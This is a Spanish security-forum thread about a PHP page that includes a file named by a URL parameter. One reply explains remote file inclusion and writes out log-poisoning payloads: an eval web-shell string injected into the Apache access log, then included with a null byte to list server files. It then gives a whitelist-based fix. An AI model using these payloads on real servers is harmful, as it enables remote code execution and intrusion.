Foro de elhacker.net

Seguridad Informática => Seguridad => Mensaje iniciado por: pana88 en 4 Mayo 2018, 02:21 am



Título: se puede usar una shell en este codigo?
Publicado por: pana88 en 4 Mayo 2018, 02:21 am
hola para los que saben de Vulnerabilidades queria saber si se puede inyectar una shell en este codigo php

Código:
<?php
error_reporting(0);
if($page=""){
  include "servicios.php";
}else{
include $_GET["page"] . ".php";}
?>

donde pagina seria algo asi como index.php?page=http://mi_url_shell y interprete shell.php


Título: Re: se puede usar una shell en este codigo?
Publicado por: engel lex en 4 Mayo 2018, 02:24 am
ese codigo es vulnerable por donde se vea, permite ejecutar cualquier archivo... la cosa es subir el archivo


Título: Re: se puede usar una shell en este codigo?
Publicado por: pana88 en 4 Mayo 2018, 02:26 am
no se puede alojar en una url atacante?
como podria hacerlo seguro?

algo como un if exist archivo url o algo asi


Título: Re: se puede usar una shell en este codigo?
Publicado por: engel lex en 4 Mayo 2018, 02:31 am
no hay razón para que se accedan paginas a lo loco... cada incluso debe ser bien medido y configurado


Título: Re: se puede usar una shell en este codigo?
Publicado por: WHK en 4 Mayo 2018, 19:49 pm
Hola,

¿Cómo probar la seguridad?

Tienes dos opciones:

Primero recuerda que php utiliza wrapperss, por lo cual puedes llamar a file:/// para declarar una ruta local o http:// y ftp:// para declarar rtutas externas, en este caso ese script es vulnerable a RFI (Remote File Include) por lo cual puedes darle una ruta externa y lo ejecutará de manera directa, incluso puedes subir el código en pastebin, entrar en raw mode y esa url incluirsela.

La segunda opción es infectar el archivo log del servidor e incluirlo, pero ojo, solo tendrás una oportunidad ya que el código es ejecutado de arriba hacia abajo.

Lo que debes hacer es llamar a la url con un código, por ejemplo: http://ejemplo.com/<?php eval(urldecode($_GET['x'])); exit; ?>

Luego de eso, ese código quedará en el log de accesos del apache y lo podrás llamar algo así:

http://ejemplo.com/?page=/var/log/httpd/access_log%00&x=print_r(glob('/*'));

De esta manera incluirá tu código php y ejecutará un segundo código que listará todos los archivos de la raiz principal del servidor.
Ahora, recuerda que el código ya le agrega al final el .php asi que no es necesario que escribas el .php al final, y si necesitas incluir otros archivos que no sean php como el log de accesos del apache puedes finalizar con un %00 para finalizar el string y omitir el .php ya que ese código no utiliza PHP_EOL (declarado como parte del estandar de php).

http://php.net/manual/es/function.include.php
http://php.net/manual/es/reserved.constants.php
https://stackoverflow.com/questions/128560/when-do-i-use-the-php-constant-php-eol
http://php.net/manual/es/wrappers.php


¿Cómo solucionarlo?

Para hacerlo mas seguro no basta con usar file exists ya que aunque el archivo sea remoto si existe. Lo que debes hacer es crear parámetros que indiquen que archivo quieres incluir y no solicitarlo en la url, por ejemplo:

Código:
$secciones = array('1' => 'a.php', '2' => 'b.php', '3.3' => 'c.php');

Entonces, en la url obtienes el parámetro de la llave del array, por ejemplo: http://www.ejemplo.com/index.php?page=3.3 y ya sabes que debes incluir c.php. Por ejemplo:

Código:
$secciones = array('1' => 'a.php', '2' => 'b.php', '3.3' => 'c.php');
if(isset($secciones[$_GET['pagina']]))
{
    include($secciones[$_GET['pagina']]);
}
else
{
    echo 'No existe.';
}

Nunca solicites el nombre completo de un archivo vía URL y si lo vas a hacer debes crear unos filtros que no son nada fáciles de hacer, por eso las buenas prácticas recomiendan parametrizar las páginas en variables distintas y nunca hacer interactuar los parámetros de entrada con llamadas a ejecuciones (recordemos que include no solo llama sino ejecuta también).

Para desarrolladores mas avanzados se recomienda crear un arreglo con todas las posibles secciones al comienzo de su ejecución o dentro de un archivo de rutas y este ser comparado y utilizado, y antes de pasar a ambiente de producción se debe imprimir este arreglo para asegurarse que únicamente podrán ser llamados los archivos que corresponden, ahi se deben crear listas negras sobre esta lista blanca o simplemente eliminarlas del stack utilizando las funciones de pila de php tales como array_shift y array_unshift.

De todas maneras ya existen sistemas que permiten un desarrollo muy rápido sin tener que preocuparse por estas cosas, por ejemplo el framework de Codeigniter.

http://php.net/array%20shift
http://php.net/array%20unshift
http://php.net/array%20pop
http://php.net/array%20push
http://php.net/unset
http://php.net/isset
https://codeigniter.com/

Saludos.